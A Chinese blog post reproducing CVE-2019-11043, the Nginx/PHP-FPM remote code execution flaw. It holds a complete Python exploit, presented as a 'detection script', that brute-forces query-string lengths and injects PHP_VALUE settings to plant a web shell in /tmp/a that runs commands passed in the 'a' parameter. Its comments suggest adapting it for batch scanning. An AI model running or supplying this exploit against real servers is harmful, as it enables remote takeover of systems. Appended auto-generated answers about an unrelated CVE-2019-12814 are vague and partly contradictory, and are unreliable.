CVE-2019-11043 漏洞复现

CVE-2019-11043

CVE-2019-11043 是一个PHP远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。该漏洞存在于php上。Nginx在0.7.31之后版本才存在fastcgi_split_path_info这个指令。另外经过poc验证,php5.4版本未受影响,php5.6以上版本会造成服务崩溃,php7.0以上版本可以执行远程命令执行。**2.漏洞概述漏洞类型:**远程代码执行漏洞。

**利用条件:**nginx配置了fastcgi_split_path_info

**受影响系统:**PHP 5.6-7.x,Nginx>=0.7.31

Nginx与 php-fpm 服务器上存在远程代码执行漏洞,由于Nginx的fastcgi_split_path_info模块在处理带%0a的请求时,fastcgi_split_path_info指令中的Regexp被破坏。Regexp被损坏导致对换行符 \n 处置不当使得将 PATH_INFO 值置为空,从而导致 php-fpm 在处理 PATH_INFO 时存在漏洞,攻击者通过精心的构造和利用,可以导致远程代码执行。

检测脚本:

import requests

# author:eth10
# 根据GitHub上面的go语言exp,以及攻击数据包写的对应py3 exp
# 随便改一下就可以批量检测了,检测之前最好确认是nginx+linux+php的环境
# url必须是带有php的文件路径,如:http://192.168.1.11/index.php
# 第一次的话在攻击过程中可以利用,但是结束后可能就不稳定了,建议第一次执行完之后,再执行一次稳定后就可以执行命令了。
# 访问即可执行命令:http://192.168.1.11/index.php?a=ifconfig

url = input("URL:")
url = url.strip()

def one():
    tmplist = []
    headers = {"User-Agent": "Mozilla/5.0",
               "D-Pisos": "8=D",
               "Ebut": "mamku tvoyu"
               }
    for i in range(1499, 1900):
        res = requests.get(url + "/PHP%0Ais_the_shittiest_lang.php?" + "Q" * i, headers=headers)
        if res.status_code == 502:
            tmplist.append(i-10)
            tmplist.append(i-5)
            tmplist.append(i)
            print(f"Status code 502 for qsl={tmplist[0]}, adding as a candidate")
            print(f"The target is probably vulnerable. Possible QSLs: {tmplist}")
            break
    return tmplist


def two():
    tmplist = one()
    if len(tmplist) == 0:
        print('暂未发现漏洞')
        return None
    for i in tmplist:
        for j in range(1, 256):
            headers = {
                "User-Agent": "Mozilla/5.0",
                "D-Pisos": f"8{'='*j}D",
                "Ebut": "mamku tvoyu"
            }
            res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=1;;;?" + "Q" * i, headers=headers)
            if "Set-Cookie" in res.headers:
                # print(i, j, res.headers)
                print('Trying to set "session.auto_start=0"...')
                for t in range(50):
                    res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=0;;;?" + "Q" * i, headers=headers)
                print('Performing attack using php.ini settings...')
                count = 0
                for l in range(1000):
                    res = requests.get(
                        url + "/PHP_VALUE%0Ashort_open_tag=1;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i-27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Ahtml_errors=0;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Ainclude_path=/tmp;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aauto_prepend_file=a;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    # print('auto_prepend_file=a', res.text)
                    res = requests.get(
                        url + "/PHP_VALUE%0Alog_errors=1;;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aerror_reporting=2;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    print(l, 'error_reporting=2', res.content)
                    # if "/usr/bin/which" == res.text
                    res = requests.get(
                        url + "/PHP_VALUE%0Aerror_log=/tmp/a;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aextension_dir=%22%3C%3F=%60%22;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27-5),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aextension=%22$_GET%5Ba%5D%60%3F%3E%22?a=/bin/sh+-c+'which+which'&" + "Q" * (
                                    i - 27 - 5-3),
                        headers=headers)
                    if "PHP Warning" in res.text:
                        # print('extension=%22$_GET', res.text)
                        for k in range(5):
                            res = requests.get(
                                url + "/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&" + "Q" * (
                                        i - 97), headers=headers)
                            if "PHP Warning" in res.text:
                                # print('a=%3Becho+%27%3C%3Fphp+echo', res.text)
                                break
                break

two()

利用工具在Github上面,具体原理需要下溯到底层的.c文件中。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: CVE-2019-12814是一个公开漏洞编号,所涉及的漏洞发生在2019年。具体而言,这个漏洞影响了某个特定的软件、应用程序或操作系统,但我没有获得关于具体受影响实体的信息。 根据CVE-2019-12814的编号,可以推测该漏洞被认为是较为重要且可利用的。通常,漏洞编号遵循特定的命名规则,其中"2019"表示该漏洞2019年被公开,而"12814"是唯一的标识符。 要了解CVE-2019-12814漏洞的详细信息,建议参考相关的漏洞公告和补丁。这些公告通常提供了有关漏洞的描述、可能的影响和建议的修复措施。另外,你还可以查找与该漏洞相关的披露和评论,以了解如何保护自己或组织免受潜在风险的影响。 除了查找相关的技术文件和补丁之外,及时更新受影响的软件和操作系统也是防范漏洞的重要步骤。维护最新的安全补丁和更新,可以帮助提高系统的安全性,减少受到此类漏洞的威胁。 请记住,针对某个特定漏洞的应对措施可能因漏洞的严重性和受影响实体的特定情况而有所不同。因此建议在面临CVE-2019-12814或类似漏洞时咨询专业的安全团队,以便获取定制化的建议和解决方案。 ### 回答2: CVE-2019-12814是一个关于PHPMailer库中的安全漏洞PHPMailer是一个流行的用于发送电子邮件的PHP库。这个漏洞的发现者是一位名叫Dawid Golunski的研究人员。 这个漏洞的具体影响是,攻击者可以通过构造一个恶意的电子邮件来执行远程代码。攻击者可以利用这个漏洞来远程执行任意命令,可能导致服务器遭受各种风险,例如数据泄露、拒绝服务攻击等。 为了解决这个漏洞PHPMailer的开发团队发布了一个安全补丁。用户必须尽快更新他们的PHPMailer版本,以确保他们的应用程序不再受到这个漏洞的影响。安装新补丁是非常重要的,因为如果不及时更新,攻击者仍然有可能利用这个漏洞来入侵系统。 除了更新库版本外,用户还可以采取其他预防措施来降低风险。例如,可以配置电子邮件服务器来限制对PHPMailer的访问,只允许信任的IP地址连接到服务器。此外,用户还应该谨慎处理未知发送者的邮件,并尽可能避免使用PHPMailer来发送或接收潜在的恶意电子邮件。 总体而言,CVE-2019-12814是一个严重的安全漏洞,可能导致远程代码执行。因此,及早更新和采取预防措施是至关重要的,以确保服务器和应用程序的安全性和稳定性。 ### 回答3: CVE-2019-12814是一个关于信息安全漏洞编号,该漏洞2019年被评级为中等级别。该漏洞主要存在于特定软件或系统中,被称为参考实现的实现漏洞CVE-2019-12814具体指的是一个软件系统中的漏洞,如果未经适当授权或认证,攻击者可以利用该漏洞从该系统中获取敏感信息或执行恶意代码。这可能导致系统被入侵、数据泄露、远程代码执行等安全风险。 当发现CVE-2019-12814漏洞时,软件供应商通常会发布安全公告,提醒用户及时更新软件版本或应用补丁以修复该漏洞。同时,用户也应该密切关注软件供应商或相关安全机构的通告,并及时采取措施以保护自己的系统和数据安全。 作为用户,为了防止受到CVE-2019-12814漏洞的影响,可以采取以下预防措施:即时更新软件版本、安装适当的补丁和漏洞修复程序、使用强密码和进行定期更改、限制对敏感数据的访问权限、定期备份数据等。 总之,CVE-2019-12814是一个中等级别的信息安全漏洞,软件供应商会发布补丁以修复该漏洞,用户可以通过及时更新软件版本等措施来预防受到该漏洞的攻击。强化安全意识和采取安全措施对于保护个人和组织的重要信息和数据具有关键意义。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值